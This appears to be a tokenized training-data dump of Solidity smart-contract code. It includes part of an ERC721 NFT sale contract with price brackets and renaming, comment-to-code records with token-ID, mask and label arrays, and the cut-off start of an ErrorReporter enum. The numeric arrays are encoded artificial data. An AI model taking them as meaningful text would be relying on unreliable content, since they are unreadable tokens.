{IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev Returns name of the NFT at index. */ function tokenNameByIndex(uint256 index) public view override returns (string memory) { return _tokenName[index]; } /** * @dev Returns if the name has been reserved. */ function isNameReserved(string memory nameString) public view override returns (bool) { return _nameReserved[toLower(nameString)]; } /** * @dev Returns the timestamp of the block in which the NFT was minted */ function mintedTimestampByIndex(uint256 index) public view override returns (uint256) { return _mintedTimestamp[index]; } /** * @dev Returns an URI for a given token ID * Throws if the token ID does not exist. May return an empty string. * @param tokenId uint256 ID of the token to query */ function tokenURI(uint256 tokenId) external view returns (string memory) { require(_exists(tokenId), "Token with specified ID does not exist"); return Strings.Concatenate( baseTokenURI(), Strings.UintToString(tokenId) ); } /** * @dev Gets the base token URI * @return string representing the base token URI */ function baseTokenURI() public view returns (string memory) { return _baseURI; } /** * @dev Gets the contract URI for contract level metadata * @return string representing the contract URI */ function contractURI() public view returns (string memory) { return _contractURI; } /** * @dev Changes the base URI if we want to move things in the future (Callable by owner only) */ function changeBaseURI(string memory baseURI) onlyOwner external { _baseURI = baseURI; } /** * @dev Changes the base URI if we want to move things in the future (Callable by owner only) */ function changeContractURI(string memory newContractURI) onlyOwner external { _contractURI = newContractURI; } /** * @dev Changes the price for a sale bracket - prices can never be less than current price (Callable by owner only) */ function changeBracketPrice(uint bracket, uint256 price) onlyOwner external { require(totalSupply() < MAX_NFT_SUPPLY, "Sale has already ended"); require(bracket > 0 && bracket < 8, "Bracket must be in the range 1-7"); require(price > 0, "Price must be set and greater than 0"); require(price >= getNFTPrice(), "Price cannot be less than the current price"); if(bracket == 1) { price_bracket_1 = price; } else if(bracket == 2) { price_bracket_2 = price; } else if(bracket == 3) { price_bracket_3 = price; } else if(bracket == 4) { price_bracket_4 = price; } else if(bracket == 5) { price_bracket_5 = price; } else if(bracket == 6) { price_bracket_6 = price; } else if(bracket == 7) { price_bracket_7 = price; } } /** * @dev Changes the price for a name change (if in future the price needs adjusting due to token speculation) (Callable by owner only) */ function changeNameChangePrice(uint256 price) onlyOwner external { require(price > 0, "Price must be set and greater than 0"); require(price <= MAX_NAME_CHANGE_PRICE, "Price cannot be greater than maximum price"); nameChangePrice = price; } /** * @dev Unlocks all the segments for every artwork (Callable by owner only) */ function setAllSegmentsRevealedTimestamp(uint256 timestamp) onlyOwner external { require(JUNE_1ST_2021 <= block.timestamp, "Cannot call function until 1st June 2021"); require(timestamp > 0, "Timestamp must be set and greater than 0"); require(timestamp >= block.timestamp, "Time must be now or in the future"); allSegmentsRevealedTimestamp = timestamp; } /** * @dev Fixes the sale price for all unsold NFTs at the current price (Callable by owner only) * Only callable after June 1st 2021 */ function sellAllRemainingAtCurrentPrice() onlyOwner external { require(JUNE_1ST_2021 <= block.timestamp, "Cannot call function before 1st June 2021"); require(_fixedPriced == 0, "Fixed price must not be already set"); require(totalSupply() < MAX_NFT_SUPPLY, "Sale has already ended"); uint256 currentPrice = getNFTPrice(); if(currentPrice > 0) { _fixedPriced = currentPrice; } } /** * @dev Returns number of segments unlocked for the given NFT * 0 - token is not yet minted */ function segmentsUnlockedByIndex(uint256 index) public view override returns (uint256) { uint256 mintTime = _mintedTimestamp[index]; require(mintTime > 0, "Mint time must be set and greater than 0"); require(mintTime <= block.timestamp, "Mint time cannot be greater than current time"); uint256 elapsed = block.timestamp.sub(mintTime); // If timestamp has been set and reached, all segments are unlocked if(allSegmentsRevealedTimestamp > 0 && block.timestamp >= allSegmentsRevealedTimestamp) { return 9; } uint unlocked = 1; for(uint i = 1; i < 9; i++) { if(elapsed >= i.mul(SEGMENT_UNLOCK_INTERVAL)) { unlocked++; } else { break; } } return unlocked; } /** * @dev Gets current NFT Price */ function getNFTPrice() public view returns (uint256) { require(block.timestamp >= SALE_START_TIMESTAMP, "Sale has not started"); require(totalSupply() < MAX_NFT_SUPPLY, "Sale has already ended"); // if price has been fixed (only possible after June 1st 2021) if(_fixedPriced > 0) { return _fixedPriced; } uint currentSupply = totalSupply(); if (currentSupply >= 4990) { return price_bracket_7; // 4990 - 4999 } else if (currentSupply >= 4750) { return price_bracket_6; // 4750 - 4989 } else if (currentSupply >= 4250) { return price_bracket_5; // 4250 - 4749 } else if (currentSupply >= 3500) { return price_bracket_4; // 3500 - 4249 } else if (currentSupply >= 2500) { return price_bracket_3; // 2500 - 3499 } else if (currentSupply >= 1000) { return price_bracket_2; // 1000 - 2499 } else { return price_bracket_1; // 0 - 999 } } /** * @dev Mints Faces */ function mintNFT(uint256 numberOfNfts) public payable { require(block.timestamp >= SALE_START_TIMESTAMP, "Sale has not started"); require(totalSupply() < MAX_NFT_SUPPLY, "Sale has already ended"); require(numberOfNfts > 0, "numberOfNfts cannot be 0"); require(numberOfNfts <= 49, "You may not buy more than 49 NFTs at once"); require(totalSupply().add(numberOfNfts) <= MAX_NFT_SUPPLY, "Exceeds MAX_NFT_SUPPLY"); require(getNFTPrice().mul(numberOfNfts) == msg.value, "Ether value sent is not correct"); for (uint i = 0; i < numberOfNfts; i++) { uint mintIndex = totalSupply(); /* final supply check */ require(mintIndex < MAX_NFT_SUPPLY, "Sale has already ended"); _mintedTimestamp[mintIndex] = block.timestamp; _safeMint(msg.sender, mintIndex); } /** * Source of randomness */ if (startingIndexBlock == 0 && (totalSupply() == MAX_NFT_SUPPLY || block.timestamp >= DISTRIBUTION_TIMESTAMP)) { startingIndexBlock = block.number; } } /** * @dev Finalize starting index */ function finalizeStartingIndex() public { require(startingIndex == 0, "Starting index is already set"); if(startingIndexBlock == 0) { require(block.timestamp >= DISTRIBUTION_TIMESTAMP, "Distribution period must be over to set the startingIndexBlock"); startingIndexBlock = block.number; } require(startingIndexBlock != 0, "Starting index block must be set"); startingIndex = uint(blockhash(startingIndexBlock)) % MAX_NFT_SUPPLY; // Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes) if (block.number.sub(startingIndexBlock) > 255) { startingIndex = uint(blockhash(block.number-1)) % MAX_NFT_SUPPLY; } // Prevent default sequence if (startingIndex == 0) { startingIndex = startingIndex.add(1); } } /** * @dev Changes the name for SatoshiFaces tokenId */ function changeName(uint256 tokenId, string memory newName) public { address owner = ownerOf(tokenId); require(_msgSender() == owner, "ERC721: caller is not the owner"); require(segmentsUnlockedByIndex(tokenId) >= 5, "Can only change name after 5 segments have been unlocked"); require(validateName(newName) == true, "Not a valid new name"); require(sha256(bytes(newName)) != sha256(bytes(_tokenName[tokenId])), "New name is same as the current one"); require(isNameReserved(newName) == false, "Name already reserved"); ISFT(_sftAddress).transferFrom(msg.sender, _sftAddress, nameChangePrice); // If already named, dereserve old name if (bytes(_tokenName[tokenId]).length > 0) { toggleReserveName(_tokenName[tokenId], false); } toggleReserveName(newName, true); _tokenName[tokenId] = newName; emit NameChange(tokenId, newName); } /** * @dev Withdraw ether from this contract (Callable by owner) */ function withdraw() onlyOwner public { uint balance = address(this).balance; msg.sender.transfer(balance); } /** * @dev Withdraw from the SFT contract (Callable by owner) * Note: Only spent SFTs (i.e. from name changes) are withdrawable here */ function withdrawSFT() onlyOwner public { uint balance = ISFT(_sftAddress).balanceOf(_sftAddress); ISFT(_sftAddress).transferFrom(_sftAddress, msg.sender, balance); } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } /** * @dev Reserves the name if isReserve is set to true, de-reserves if set to false */ function toggleReserveName(string memory str, bool isReserve) internal { _nameReserved[toLower(str)] = isReserve; } /** * @dev Check if the name string is valid (Alphanumeric and spaces without leading or trailing space) */ function validateName(string memory str) public pure returns (bool){ bytes memory b = bytes(str); if(b.length < 1) return false; if(b.length > 20) return false; // Cannot be longer than 20 characters if(b[0] == 0x20) return false; // Leading space if (b[b.length - 1] == 0x20) return false; // Trailing space bytes1 lastChar = b[0]; for(uint i; i<b.length; i++){ bytes1 char = b[i]; if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces if( !(char >= 0x30 && char <= 0x39) && //9-0 !(char >= 0x41 && char <= 0x5A) && //A-Z !(char >= 0x61 && char <= 0x7A) && //a-z !(char == 0x20) //space ) return false; lastChar = char; } return true; } /** * @dev Converts the string to lowercase */ function toLower(string memory str) public pure returns (string memory){ bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint i = 0; i < bStr.length; i++) { // Uppercase character if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) { bLower[i] = bytes1(uint8(bStr[i]) + 32); } else { bLower[i] = bStr[i]; } } return string(bLower); } }
2 days between segment unlocks
uint256 public constant SEGMENT_UNLOCK_INTERVAL = (86400 * 2);
10,371,306
[ 1, 22, 4681, 3086, 3267, 7186, 87, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 5381, 3174, 19204, 67, 2124, 6589, 67, 16435, 273, 261, 28, 1105, 713, 380, 576, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x6Bcf66d82C4c2e852690AD589C4462b568FaB81a/sources/contracts/voting/GovernanceLib.sol
the address of the strategy to determine voting power of an account
IVoteStrategy strategy;
17,106,402
[ 1, 5787, 1758, 434, 326, 6252, 358, 4199, 331, 17128, 7212, 434, 392, 2236, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 467, 19338, 4525, 6252, 31, 565, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: contracts/ErrorReporter.sol pragma solidity 0.4.24; contract ErrorReporter { /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. */ event Failure(uint256 error, uint256 info, uint256 detail); enum Error { NO_ERROR, OPAQUE_ERROR, // To be used when reporting errors from upgradeable contracts; the opaque code should be given as `detail` in the `Failure` event UNAUTHORIZED, INTEGER_OVERFLOW, INTEGER_UNDERFLOW, DIVISION_BY_ZERO, BAD_INPUT, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_TRANSFER_FAILED, MARKET_NOT_SUPPORTED, SUPPLY_RATE_CALCULATION_FAILED, BORROW_RATE_CALCULATION_FAILED, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_OUT_FAILED, INSUFFICIENT_LIQUIDITY, INSUFFICIENT_BALANCE, INVALID_COLLATERAL_RATIO, MISSING_ASSET_PRICE, EQUITY_INSUFFICIENT_BALANCE, INVALID_CLOSE_AMOUNT_REQUESTED, ASSET_NOT_PRICED, INVALID_LIQUIDATION_DISCOUNT, INVALID_COMBINED_RISK_PARAMETERS, ZERO_ORACLE_ADDRESS, CONTRACT_PAUSED, KYC_ADMIN_CHECK_FAILED, KYC_ADMIN_ADD_OR_DELETE_ADMIN_CHECK_FAILED, KYC_CUSTOMER_VERIFICATION_CHECK_FAILED, LIQUIDATOR_CHECK_FAILED, LIQUIDATOR_ADD_OR_DELETE_ADMIN_CHECK_FAILED, SET_WETH_ADDRESS_ADMIN_CHECK_FAILED, WETH_ADDRESS_NOT_SET_ERROR, ETHER_AMOUNT_MISMATCH_ERROR } /** * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED, BORROW_ACCOUNT_SHORTFALL_PRESENT, BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, BORROW_AMOUNT_LIQUIDITY_SHORTFALL, BORROW_AMOUNT_VALUE_CALCULATION_FAILED, BORROW_CONTRACT_PAUSED, BORROW_MARKET_NOT_SUPPORTED, BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED, BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED, BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED, BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED, BORROW_ORIGINATION_FEE_CALCULATION_FAILED, BORROW_TRANSFER_OUT_FAILED, EQUITY_WITHDRAWAL_AMOUNT_VALIDATION, EQUITY_WITHDRAWAL_CALCULATE_EQUITY, EQUITY_WITHDRAWAL_MODEL_OWNER_CHECK, EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED, LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED, LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET, LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET, LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED, LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED, LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH, LIQUIDATE_CONTRACT_PAUSED, LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED, LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET, LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET, LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET, LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET, LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET, LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET, LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET, LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET, LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET, LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET, LIQUIDATE_FETCH_ASSET_PRICE_FAILED, LIQUIDATE_TRANSFER_IN_FAILED, LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE, REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, REPAY_BORROW_CONTRACT_PAUSED, REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED, REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED, REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED, REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED, REPAY_BORROW_TRANSFER_IN_FAILED, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_ASSET_PRICE_CHECK_ORACLE, SET_MARKET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_ORACLE_OWNER_CHECK, SET_ORIGINATION_FEE_OWNER_CHECK, SET_PAUSED_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_RISK_PARAMETERS_OWNER_CHECK, SET_RISK_PARAMETERS_VALIDATION, SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED, SUPPLY_CONTRACT_PAUSED, SUPPLY_MARKET_NOT_SUPPORTED, SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED, SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED, SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED, SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED, SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED, SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED, SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, SUPPLY_TRANSFER_IN_FAILED, SUPPLY_TRANSFER_IN_NOT_POSSIBLE, SUPPORT_MARKET_FETCH_PRICE_FAILED, SUPPORT_MARKET_OWNER_CHECK, SUPPORT_MARKET_PRICE_CHECK, SUSPEND_MARKET_OWNER_CHECK, WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED, WITHDRAW_ACCOUNT_SHORTFALL_PRESENT, WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED, WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL, WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED, WITHDRAW_CAPACITY_CALCULATION_FAILED, 